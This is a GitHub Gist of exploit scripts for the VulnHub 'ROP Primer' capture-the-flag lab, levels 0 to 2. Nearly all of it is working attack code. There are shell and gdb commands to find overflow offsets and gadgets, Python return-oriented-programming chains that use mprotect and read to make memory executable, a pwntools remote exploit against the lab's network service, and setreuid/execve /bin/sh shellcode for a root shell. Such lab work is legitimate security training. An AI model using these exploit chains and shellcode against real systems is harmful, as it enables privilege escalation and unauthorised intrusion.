Last active
July 23, 2017 01:28
-
-
Save Creased/eee584d7d0065b364b88a963b7db918a to your computer and use it in GitHub Desktop.
ROP Primer - https://www.vulnhub.com/entry/rop-primer-02,114/
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ssh [email protected] # warmup | |
export TMP=$(mktemp -d) | |
PATTERN=$(gdb -q -ex 'pattc 250' -ex 'q' | awk -F"'" '{print $2}') | |
echo "${PATTERN}\n" >${TMP}/inp | |
OFFSET=$(gdb -q ./level0 -ex 'r <${TMP}/inp' -ex 'patto $eip' -ex 'q' | grep -Eo "found at offset: [0-9]+" | awk -F': ' '{print $2}') | |
VDSO=$(gdb -q ./level0 -ex 'b main' -ex 'r' -ex 'vmmap vdso' -ex 'q' | tail -n1 | awk '{print $1}' | grep -Eo '0x[A-Fa-f0-9]+' | sed -r 's/(0x)0/\1/') | |
MPROTECT=$(gdb -q ./level0 -ex 'b main' -ex 'r' -ex 'p mprotect' -ex 'q' | tail -n1 | grep -Eo '0x[A-Fa-f0-9]+') | |
READ=$(gdb -q ./level0 -ex 'b main' -ex 'r' -ex 'p read' -ex 'q' | tail -n1 | grep -Eo '0x[A-Fa-f0-9]+') | |
cat <<-EOF >${TMP}/exploit.py | |
#!/usr/bin/env python | |
# -*- coding:Utf-8 -*- | |
#==========================================================# | |
# [+] Title: Exploitation code for ROP Primer Level0 # | |
# [+] Author: Baptiste M. (Creased) # | |
# [+] Website: bmoine.fr # | |
# [+] Email: [email protected] # | |
# [+] Twitter: @Creased_ # | |
#==========================================================# | |
## | |
# Code from http://192.168.56.101/blog/2015/01/20/level0/ | |
# | |
# #include <stdio.h> | |
# #include <stdlib.h> | |
# | |
# int main(int argc, char **argv, char **argp) | |
# { | |
# char name[32]; | |
# printf("[+] ROP tutorial level0\n"); | |
# printf("[+] What's your name? "); | |
# gets(name); | |
# printf("[+] Bet you can't ROP me, %s!\n", name); | |
# return 0; | |
# } | |
# | |
import struct | |
def p(x): | |
return struct.pack('<L', x) | |
def x(s): | |
s = s.encode('hex') | |
s = [s[i:i + 2] for i in range(0, len(s), 2)] | |
x = '' | |
for c in s: | |
x += str('\\\') + 'x' + str(c) | |
return x | |
## mprotect flags | |
PROT_NONE = 0x00 | |
PROT_READ = 0x01 | |
PROT_WRITE = 0x02 | |
PROT_EXEC = 0x04 | |
## read fildes | |
STDIN = 0x00 | |
STDOUT = 0x01 | |
STDERR = 0x02 | |
EIP_OFFSET = ${OFFSET} | |
## gadgets | |
# gdb -q ./level0 -ex 'r <${TMP}/inp' -ex 'ropgadget' -ex 'q' | |
MPROTECT = ${MPROTECT} | |
READ = ${READ} | |
POP3RET = 0x8048882 # x/4i 0x8048882 | |
# 0x8048882 <__libc_setup_tls+498>: pop esi | |
# 0x8048883 <__libc_setup_tls+499>: pop edi | |
# 0x8048884 <__libc_setup_tls+500>: pop ebp | |
# 0x8048885 <__libc_setup_tls+501>: ret | |
VDSO = ${VDSO} | |
## payload setup | |
payload = '' | |
payload += 'A' * EIP_OFFSET # smash stack! | |
## make a vmmap RWX | |
payload += p(MPROTECT) # mprotect@plt: int mprotect(void *addr, size_t len, int prot); | |
payload += p(POP3RET) # pop esi; pop edi; pop ebp; ret (return address for mprotect) | |
payload += p(VDSO) # addr | |
payload += p(0x2000) # size | |
payload += p(PROT_READ | PROT_WRITE | PROT_EXEC) # prot (RWX) | |
# read shellcode from STDIN | |
payload += p(READ) # read@plt: ssize_t read(int fildes, void *buf, size_t nbyte); | |
payload += p(POP3RET) # pop esi; pop edi; pop ebp; ret (return address for read) | |
payload += p(STDIN) # fildes (file descriptor) to STDIN | |
payload += p(VDSO) # buf | |
payload += p(0x200) # size | |
# exec shellcode | |
payload += p(VDSO) # buf | |
print payload | |
EOF | |
# Using shellcode: Linux/x86 - setreuid(0,0) + execve(/bin/sh, [/bin/sh, NULL]) - 33 bytes by Gotfault Security (http://shell-storm.org/shellcode/files/shellcode-250.php) | |
(python ${TMP}/exploit.py; python -c 'print "\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'; cat) | ./level0 | |
cat flag |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# SSH new tab: GDB | |
ssh [email protected] # shodan | |
netstat -tulpen | grep 8888 | |
fuser --kill --namespace tcp 1337 | |
HTONS="0x$(objdump ./level1 -D | grep htons | tail -n1 | awk -F':' '{print $1}' | grep -Eo '[a-fA-F0-9]+')" | |
gdb -q ./level1 -ex 'b *'${HTONS} -ex 'r' -ex 'set {int}$esp = 1337' -ex 'c' | |
# Kali | |
export TMP=$(mktemp -d) | |
HOST=192.168.56.101 | |
PORT=1337 | |
PATTERN=$(gdb -q -ex 'pattc 128' -ex 'q' | awk -F"'" '{print $2}') | |
cat <<-EOF >${TMP}/crash.py | |
from pwn import * | |
HOST='${HOST}' | |
PORT=${PORT} | |
PATTERN='${PATTERN}' | |
r = remote(HOST, PORT) | |
r.recvuntil('> ') | |
r.send('store\n') | |
r.recvuntil('> ') | |
r.send('{size}\n'.format(size=len(PATTERN))) | |
r.recvuntil('> ') | |
r.send('{filebuf}\n'.format(filebuf=PATTERN[:-1])) | |
r.recvuntil('> ') | |
r.send('{filename}'.format(filename=PATTERN)) | |
EOF | |
python ${TMP}/crash.py | |
# SSH GDB | |
patto $eip | |
q | |
fuser --kill --namespace tcp 1337 | |
gdb -q ./level1 -ex 'b *'${HTONS} -ex 'r' -ex 'set {int}$esp = 1337' -ex 'c' | |
# SSH new tab: PREPARE | |
ssh [email protected] # shodan | |
cat <<-EOF | |
# To execute on Kali | |
OFFSET=64 # patto $eip | |
VDSO=$(gdb -q ./level1 -ex 'vmmap vdso' -ex 'q' | tail -n1 | awk '{print $1}' | grep -Eo '0x[A-Fa-f0-9]+') | |
MPROTECT=$(gdb -q ./level1 -ex 'b main' -ex 'r' -ex 'p mprotect' -ex 'q' | tail -n1 | grep -Eo '0x[A-Fa-f0-9]+') | |
OPEN=$(gdb -q ./level1 -ex 'b main' -ex 'r' -ex 'p open' -ex 'q' | tail -n1 | grep -Eo '0x[A-Fa-f0-9]+') | |
READ=$(gdb -q ./level1 -ex 'b main' -ex 'r' -ex 'p read' -ex 'q' | tail -n1 | grep -Eo '0x[A-Fa-f0-9]+') | |
WRITE_BUF=$(gdb -q ./level1 -ex 'b main' -ex 'r' -ex 'p write_buf' -ex 'q' | tail -n1 | grep -Eo '0x[A-Fa-f0-9]+') | |
FLAG=$(gdb -q ./level1 -ex 'b main' -ex 'r' -ex 'find "flag"' -ex 'q' | grep '"flag"' | head -n1 | grep -Eo '0x[A-Fa-f0-9]+') | |
EOF | |
# Kali | |
PORT=8888 | |
cat <<-EOF >${TMP}/exploit.py | |
#!/usr/bin/env python | |
# -*- coding:Utf-8 -*- | |
#==========================================================# | |
# [+] Title: Exploitation code for ROP Primer Level1 # | |
# [+] Author: Baptiste M. (Creased) # | |
# [+] Website: bmoine.fr # | |
# [+] Email: [email protected] # | |
# [+] Twitter: @Creased_ # | |
#==========================================================# | |
## | |
# Code from http://192.168.56.101/blog/2015/01/20/level1/ | |
# | |
# #include <stdio.h> | |
# #include <stdlib.h> | |
# #include <sys/socket.h> | |
# #include <netinet/in.h> | |
# #include <sys/types.h> | |
# #include <sys/stat.h> | |
# #include <unistd.h> | |
# #include <fcntl.h> | |
# | |
# void write_buf(int fd, char *buf) | |
# { | |
# int len = strlen(buf); | |
# write(fd, buf, len); | |
# } | |
# | |
# | |
# void write_file(char *filename, char *filebuf, int filesize) | |
# { | |
# int f = open(filename, O_RDWR | O_CREAT, S_IRUSR | S_IWUSR); | |
# write(f, filebuf, filesize); | |
# close(f); | |
# } | |
# | |
# void handle_conn(int fd) | |
# { | |
# char filename[32], cmd[32]; | |
# char text[256]; | |
# int read_bytes, filesize; | |
# char str_filesize[7]; | |
# | |
# // banner | |
# write_buf(fd, "Welcome to \n"); | |
# write_buf(fd, " XERXES File Storage System\n"); | |
# write_buf(fd, " available commands are:\n"); | |
# write_buf(fd, " store, read, exit.\n"); | |
# | |
# while (1) | |
# { | |
# write_buf(fd, "\n> "); | |
# | |
# memset(cmd, 0, sizeof(cmd)); | |
# read(fd, cmd, sizeof(cmd)); | |
# | |
# if (!strncmp(cmd, "store", 5)) | |
# { | |
# write_buf(fd, " Please, how many bytes is your file?\n\n"); | |
# write_buf(fd, "> "); | |
# memset(str_filesize, 0, sizeof(str_filesize)); | |
# | |
# read(fd, &str_filesize, 6); | |
# filesize = atoi(str_filesize); | |
# char *filebuf = malloc(filesize); | |
# | |
# write_buf(fd, " Please, send your file:\n\n"); | |
# write_buf(fd, "> "); | |
# | |
# read_bytes = read(fd, filebuf, filesize); | |
# | |
# if (read_bytes == filesize) | |
# { | |
# write_buf(fd, " XERXES is pleased to inform you\n that your file was received\n most successfully.\n"); | |
# } | |
# else | |
# { | |
# write_buf(fd, " XERXES regrets to inform you\n that an error occurred\n while receiving your file.\n"); | |
# } | |
# | |
# write_buf(fd, " Please, give a filename:\n"); | |
# write_buf(fd, "> "); | |
# | |
# memset(filename, 0, sizeof(filename)); | |
# read_bytes = read(fd, filename, filesize); | |
# | |
# snprintf(text, sizeof(text), " XERXES will store\n this data as '%s'.\n", filename); | |
# write_buf(fd, text); | |
# | |
# write_file(filename, filebuf, filesize); | |
# | |
# write_buf(fd, " XERXES wishes you\n a NICE day.\n"); | |
# return; | |
# } | |
# | |
# if (!strncmp(cmd, "read", 4)) | |
# { | |
# write_buf(fd, " Please, give a filename to read:\n"); | |
# write_buf(fd, "> "); | |
# | |
# memset(filename, 0, sizeof(filename)); | |
# read_bytes = read(fd, filename, sizeof(filename)); | |
# filename[read_bytes-1] = 0; | |
# | |
# if (strstr(filename, "flag")) | |
# { | |
# write_buf(fd, " XERXES demands your capture\n or destruction.\n Have a NICE day.\n"); | |
# return; | |
# } | |
# | |
# int f = open(filename, O_RDONLY); | |
# if (f == -1) | |
# { | |
# write_buf(fd, " XERXES regrets to inform you\n that the requested file cannot be found.\n"); | |
# } | |
# | |
# char *filebuf = malloc(100000); | |
# read_bytes = read(f, filebuf, 100000); | |
# write(fd, filebuf, read_bytes); | |
# free(filebuf); | |
# | |
# write_buf(fd, " XERXES wishes you\n a NICE day.\n"); | |
# return; | |
# } | |
# | |
# if (!strncmp(cmd, "exit", 4)) | |
# { | |
# write_buf(fd, " XERXES wishes you\n a NICE day.\n"); | |
# return; | |
# } | |
# } | |
# } | |
# | |
# int main(int argc, char **argv) | |
# { | |
# int listenfd = -1, connfd = -1; | |
# struct sockaddr_in serv_addr; | |
# | |
# listenfd = socket(AF_INET, SOCK_STREAM, 0); | |
# memset(&serv_addr, 0, sizeof(serv_addr)); | |
# | |
# serv_addr.sin_family = AF_INET; | |
# serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); | |
# serv_addr.sin_port = htons(8888); | |
# | |
# while (bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0) | |
# { | |
# printf("[!] error bind()ing!\n"); | |
# sleep(1); | |
# printf("[+] retrying bind()\n"); | |
# } | |
# | |
# listen(listenfd, 10); // 10 = backlog? | |
# | |
# while (1) | |
# { | |
# connfd = accept(listenfd, (struct sockaddr*)NULL, NULL); | |
# int pid = fork(); | |
# if (pid < 0) | |
# { | |
# printf("[!] error fork()ing!\n"); | |
# close(listenfd); | |
# exit(-1); | |
# } | |
# if (pid == 0) | |
# { | |
# close(listenfd); | |
# handle_conn(connfd); | |
# close(connfd); | |
# exit(0); | |
# } | |
# | |
# close(connfd); | |
# } | |
# | |
# return 0; | |
# } | |
# | |
from pwn import * | |
def p(x): | |
return struct.pack('<L', x) | |
def x(s): | |
s = s.encode('hex') | |
s = [s[i:i + 2] for i in range(0, len(s), 2)] | |
x = '' | |
for c in s: | |
x += str('\\\') + 'x' + str(c) | |
return x | |
## remote options | |
HOST = '${HOST}' | |
SOCKET = ${PORT} | |
## mprotect flags | |
PROT_NONE = 0x00 | |
PROT_READ = 0x01 | |
PROT_WRITE = 0x02 | |
PROT_EXEC = 0x04 | |
## open flags | |
O_RDONLY = 0x00 | |
O_WRONLY = 0x01 | |
O_RDWR = 0x02 | |
## read fildes | |
STDIN = 0x00 | |
STDOUT = 0x01 | |
STDERR = 0x02 | |
EIP_OFFSET = ${OFFSET} | |
## gadgets | |
# gdb -q ./level1 -ex 'b main' -ex 'r' -ex 'ropgadget' -ex 'q' | |
MPROTECT = ${MPROTECT} | |
OPEN = ${OPEN} | |
READ = ${READ} | |
WRITE_BUF = ${WRITE_BUF} | |
FLAG = ${FLAG} | |
POP2RET = 0x8048ef7 # x/3i 0x8048ef7 | |
# 0x8048ef7 <__libc_csu_init+87>: pop edi | |
# 0x8048ef8 <__libc_csu_init+88>: pop ebp | |
# 0x8048ef9 <__libc_csu_init+89>: ret | |
POP3RET = 0x8048ef6 # x/4i 0x8048ef6 | |
# 0x8048ef6 <__libc_csu_init+86>: pop esi | |
# 0x8048ef7 <__libc_csu_init+87>: pop edi | |
# 0x8048ef8 <__libc_csu_init+88>: pop ebp | |
# 0x8048ef9 <__libc_csu_init+89>: ret | |
VDSO = ${VDSO} | |
## payload setup | |
payload = '' | |
payload += 'A' * EIP_OFFSET # smash stack! | |
## make a vmmap RWX | |
payload += p(MPROTECT) # mprotect@plt: int mprotect(void *addr, size_t len, int prot); | |
payload += p(POP3RET) # pop esi; pop edi; pop ebp; ret (return address for mprotect) | |
payload += p(VDSO) # addr | |
payload += p(0x2000) # size | |
payload += p(PROT_READ | PROT_WRITE | PROT_EXEC) # prot (RWX) | |
# open flag | |
payload += p(OPEN) # open@plt: int open(const char *path, int oflags); | |
payload += p(POP2RET) # pop edi; pop ebp; ret (return address for read) | |
payload += p(FLAG) # path (flag file) | |
payload += p(O_RDONLY) # mode (R) | |
# read flag | |
payload += p(READ) # read@plt: ssize_t read(int fildes, void *buf, size_t nbyte); | |
payload += p(POP3RET) # pop esi; pop edi; pop ebp; ret (return address for read)) | |
payload += p(0x3) # fildes (file descriptor) corresponding to opened file | |
payload += p(VDSO) # buf | |
payload += p(0x200) # size | |
# write flag to buffer | |
payload += p(WRITE_BUF) # void write_buf(int fd, char *buf) | |
payload += p(POP3RET) # pop esi; pop edi; pop ebp; ret (return address for read)) | |
payload += p(0x4) # fd (file descriptor) corresponding to socket | |
payload += p(VDSO) # buf | |
r = remote(HOST, SOCKET) | |
r.recvuntil('> ') | |
r.send('store\n') | |
r.recvuntil('> ') | |
r.send('{len}\n'.format(len=(len(payload) + 1))) | |
r.recvuntil('> ') | |
r.send(payload + '\n') | |
r.recvuntil('> ') | |
r.send(payload) | |
print r.recvline() | |
EOF | |
python ${TMP}/exploit.py |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ssh [email protected] # tryharder | |
export TMP=$(mktemp -d) | |
PATTERN=$(gdb -q -ex 'pattc 250' -ex 'q' | awk -F"'" '{print $2}') | |
echo "${PATTERN}\n" >${TMP}/inp | |
OFFSET=$(gdb -q ./level2 -ex 'r $(cat ${TMP}/inp)' -ex 'patto $eip' -ex 'q' | grep -Eo "found at offset: [0-9]+" | awk -F': ' '{print $2}' | perl -p -e 's/\n//') | |
VDSO=$(gdb -q ./level2 -ex 'b main' -ex 'r' -ex 'vmmap vdso' -ex 'q' | tail -n1 | awk '{print $1}' | grep -Eo '0x[A-Fa-f0-9]+' | sed -r 's/(0x)0/\1/' | perl -p -e 's/\n//') | |
MPROTECT=$(gdb -q ./level2 -ex 'b main' -ex 'r' -ex 'p mprotect' -ex 'q' | tail -n1 | grep -Eo '0x[A-Fa-f0-9]+' | perl -p -e 's/\n//') | |
READ=$(gdb -q ./level2 -ex 'b main' -ex 'r' -ex 'p read' -ex 'q' | tail -n1 | grep -Eo '0x[A-Fa-f0-9]+' | perl -p -e 's/\n//') | |
cat <<-EOF >${TMP}/exploit.py | |
#!/usr/bin/env python | |
# -*- coding:Utf-8 -*- | |
#==========================================================# | |
# [+] Title: Exploitation code for ROP Primer Level2 # | |
# [+] Author: Baptiste M. (Creased) # | |
# [+] Website: bmoine.fr # | |
# [+] Email: [email protected] # | |
# [+] Twitter: @Creased_ # | |
#==========================================================# | |
## | |
# Code from http://192.168.56.101/blog/2015/01/20/level2/ | |
# | |
# #include <stdio.h> | |
# #include <stdlib.h> | |
# | |
# int main(int argc, char **argv, char **argp) | |
# { | |
# if (argc > 1) | |
# { | |
# char name[32]; | |
# printf("[+] ROP tutorial level2\n"); | |
# strcpy(name, argv[1]); | |
# printf("[+] Bet you can't ROP me this time around, %s!\n", name); | |
# } | |
# return 0; | |
# } | |
# | |
import struct | |
def p(x): | |
return struct.pack('<L', x) | |
def x(s): | |
s = s.encode('hex') | |
s = [s[i:i + 2] for i in range(0, len(s), 2)] | |
x = '' | |
for c in s: | |
x += str('\\\') + 'x' + str(c) | |
return x | |
## mprotect flags | |
PROT_NONE = 0x00 | |
PROT_READ = 0x01 | |
PROT_WRITE = 0x02 | |
PROT_EXEC = 0x04 | |
## read fildes | |
STDIN = 0x00 | |
STDOUT = 0x01 | |
STDERR = 0x02 | |
EIP_OFFSET = ${OFFSET} | |
## | |
# gadgets | |
# | |
# gdb -q ./level2 -ex 'b main' -ex 'r' -ex 'ropgadget' -ex 'q' | |
MPROTECT = ${MPROTECT} | |
READ = ${READ} | |
POP3RET = 0x8048892 # x/4i 0x8048892 | |
# 0x8048892 <__libc_setup_tls+498>: pop esi | |
# 0x8048893 <__libc_setup_tls+499>: pop edi | |
# 0x8048894 <__libc_setup_tls+500>: pop ebp | |
# 0x8048895 <__libc_setup_tls+501>: ret | |
VDSO = ${VDSO} | |
# ropshell.py | |
# > generate level2 10 | |
# > load level2.ggt | |
# > search pop ebx % | |
POPEBX = 0x805249e # pop ebx ;; | |
# > search dec ebx % | |
DECEBX = 0x80c7df2 # dec ebx ;; | |
# > search pop ecx % | |
POPECX = 0x80658d7 # pop ecx ; adc al 0x89 ;; | |
# > search inc ecx % | |
INCECX = 0x80c86db # inc ecx ;; | |
# > search pop edi % | |
POPEDI = 0x805155d # pop edi ;; | |
# > search add ecx % | |
ADDECXEDI = 0x806893b # add ecx [edi] ; mov dh 0x1 ; pop ebp ;; | |
# > search pop ebp % | |
POPEBP = 0x8048560 # pop ebp ;; | |
# > search pop edx % | |
POPEDX = 0x8052476 # pop edx ;; | |
# > search inc edx % | |
INCEDX = 0x804eda1 # inc edx ; add al 0x83 ;; | |
# > search inc ebx % | |
INCEBX = 0x80c86d1 # inc ebx ;; | |
# > search dec ecx % | |
DECECX = 0x8048d66 # dec ecx ;; | |
# > search pop edx % | |
POPEDX = 0x8052476 # pop edx ;; | |
# > search pop esi % | |
POPESI = 0x806a2a9 # pop esi ;; | |
# > search dec esi % | |
DECESI = 0x8050e43 # dec esi ;; | |
# > search push esi % | |
PUSHESI = 0x80c026e # push esi ;; | |
## payload setup | |
payload = '' | |
payload += 'A' * EIP_OFFSET # smash stack! | |
## | |
# make a vmmap RWX | |
# | |
# mprotect@plt: int mprotect(void *addr, size_t len, int prot); | |
# | |
# gdb$ x/10i mprotect | |
# 0x8052290 <mprotect>: push ebx | |
# 0x8052291 <mprotect+1>: mov edx,DWORD PTR [esp+0x10] | |
# 0x8052295 <mprotect+5>: mov ecx,DWORD PTR [esp+0xc] | |
# 0x8052299 <mprotect+9>: mov ebx,DWORD PTR [esp+0x8] | |
# 0x805229d <mprotect+13>: mov eax,0x7d | |
# 0x80522a2 <mprotect+18>: int 0x80 | |
# 0x80522a4 <mprotect+20>: pop ebx | |
# 0x80522a5 <mprotect+21>: cmp eax,0xfffff001 | |
# 0x80522aa <mprotect+26>: jae 0x8053720 <__syscall_error> | |
# 0x80522b0 <mprotect+32>: ret | |
# | |
# get VDSO into ebx | |
payload += p(POPEBX) # pop 4-byte data from top of stack to EBX (Base Register) | |
payload += p(VDSO + 1) # First test, VDSO contains 0x0, so push VDSO+1 to the stack -> $ebx = VDSO+1 | |
payload += p(DECEBX) # dec ebx -> $ebx = VDSO | |
# get 0x2000 into ecx | |
payload += p(POPECX) # pop 4-byte data from top of stack to ECX (Count Register) | |
payload += p(0xFFFFFFFF) # push 0xFFFFFFFF to the stack -> $ecx = 0xFFFFFFFF | |
payload += p(INCECX) # inc ecx by 1 to end up with 0x0 -> $ecx = 0xFFFFFFFF | |
payload += p(POPEDI) # pop 4-byte data from top of stack to EDI (Destination Index) | |
payload += p(0x80babdf) # push size ptr to the stack -> $[edi] = 0x2000 (gdb -q ./level2 -ex 'b main' -ex 'r' -ex 'find 0x2000' -ex 'q') | |
payload += p(ADDECXEDI) # add edi ptr value (0x2000) to ecx and store it to ecx | |
payload += p(POPEBP) # pop ebp | |
# get prot RWX (0x7) into edx | |
payload += p(POPEDX) # pop 4-byte data from top of stack to EDX (Data Register) | |
payload += p(0xFFFFFFFF) # push 0xFFFFFFFF to the stack -> $edx = 0xFFFFFFFF | |
payload += ((PROT_READ | PROT_WRITE | PROT_EXEC) + 1) * p(INCEDX) # inc edx by 1 8-times to end up with 0x7 -> $edx = 0x7 (inc edx; ret) | |
# call mprotect (we call mprotect from mprotect+13 since we already defined ebx, ecx and edx) | |
payload += p(MPROTECT + 13) # mprotect@plt: int mprotect(void *addr, size_t len, int prot); | |
payload += p(POP3RET) # pop esi; pop edi; pop ebp; ret (return address for mprotect) | |
## | |
# read shellcode from STDIN | |
# | |
# read@plt: ssize_t read(int fildes, void *buf, size_t nbyte); | |
# | |
# gdb$ x/27i read | |
# 0x80516a0 <read>: cmp DWORD PTR gs:0xc,0x0 | |
# 0x80516a8 <read+8>: jne 0x80516cb <read+43> | |
# 0x80516aa <__read_nocancel>: push ebx | |
# 0x80516ab <__read_nocancel+1>: mov edx,DWORD PTR [esp+0x10] | |
# 0x80516af <__read_nocancel+5>: mov ecx,DWORD PTR [esp+0xc] | |
# 0x80516b3 <__read_nocancel+9>: mov ebx,DWORD PTR [esp+0x8] | |
# 0x80516b7 <__read_nocancel+13>: mov eax,0x3 | |
# 0x80516bc <__read_nocancel+18>: int 0x80 | |
# 0x80516be <__read_nocancel+20>: pop ebx | |
# 0x80516bf <__read_nocancel+21>: cmp eax,0xfffff001 | |
# 0x80516c4 <__read_nocancel+26>: jae 0x8053720 <__syscall_error> | |
# 0x80516ca <__read_nocancel+32>: ret | |
# 0x80516cb <read+43>: call 0x8052520 <__libc_enable_asynccancel> | |
# 0x80516d0 <read+48>: push eax | |
# 0x80516d1 <read+49>: push ebx | |
# 0x80516d2 <read+50>: mov edx,DWORD PTR [esp+0x14] | |
# 0x80516d6 <read+54>: mov ecx,DWORD PTR [esp+0x10] | |
# 0x80516da <read+58>: mov ebx,DWORD PTR [esp+0xc] | |
# 0x80516de <read+62>: mov eax,0x3 | |
# 0x80516e3 <read+67>: int 0x80 | |
# 0x80516e5 <read+69>: pop ebx | |
# 0x80516e6 <read+70>: xchg DWORD PTR [esp],eax | |
# 0x80516e9 <read+73>: call 0x80524a0 <__libc_disable_asynccancel> | |
# 0x80516ee <read+78>: pop eax | |
# 0x80516ef <read+79>: cmp eax,0xfffff001 | |
# 0x80516f4 <read+84>: jae 0x8053720 <__syscall_error> | |
# 0x80516fa <read+90>: ret | |
# | |
# get STDIN into ebx | |
payload += p(POPEBX) # pop 4-byte data from top of stack to EBX (Base Register) | |
payload += p(0xFFFFFFFF) # First test, STDIN contains 0x0, so push 0xFFFFFFFF to the stack -> $ebx = 0xFFFFFFFF | |
payload += (STDIN + 1) * p(INCEBX) # inc ebx -> $ebx = STDIN | |
# get VDSO into ecx | |
payload += p(POPECX) # pop 4-byte data from top of stack to ECX (Count Register) | |
payload += p(VDSO + 1) # First test, VDSO contains 0x0, so push VDSO+1 to the stack -> $ecx = VDSO+1 | |
payload += p(DECECX) # dec ecx -> $ecx = VDSO | |
# get 0x200 into edx | |
payload += p(POPEDX) # pop 4-byte data from top of stack to EDX (Data Register) | |
payload += p(0xFFFFFFFF) # push 0xFFFFFFFF to the stack -> $edx = 0xFFFFFFFF | |
payload += (0x200 + 1) * p(INCEDX) # inc edx by 1 to end up with 0x200 -> $edx = 0x200 | |
# call read (we call read from read+23 since we already defined ebx, ecx and edx) | |
payload += p(READ + 23) # read@plt: ssize_t read(int fildes, void *buf, size_t nbyte); | |
payload += p(POP3RET) # pop esi; pop edi; pop ebp; ret (return address for read) | |
## | |
# exec shellcode | |
# | |
# get VDSO into stack from ESI | |
payload += p(POPESI) # pop 4-byte data from top of stack to ESI (Index Register) | |
payload += p(VDSO + 1) # First test, VDSO contains 0x0, so push VDSO+1 to the stack -> $esi = VDSO+1 | |
payload += p(DECESI) # dec esi -> $esi = VDSO | |
payload += p(PUSHESI) # push esi | |
print payload | |
EOF | |
# Using shellcode: Linux/x86 - setreuid(0,0) + execve(/bin/sh, [/bin/sh, NULL]) - 33 bytes by Gotfault Security (http://shell-storm.org/shellcode/files/shellcode-250.php) | |
(python -c 'print "\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'; cat) | ./level2 $(python ${TMP}/exploit.py) | |
cat flag |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment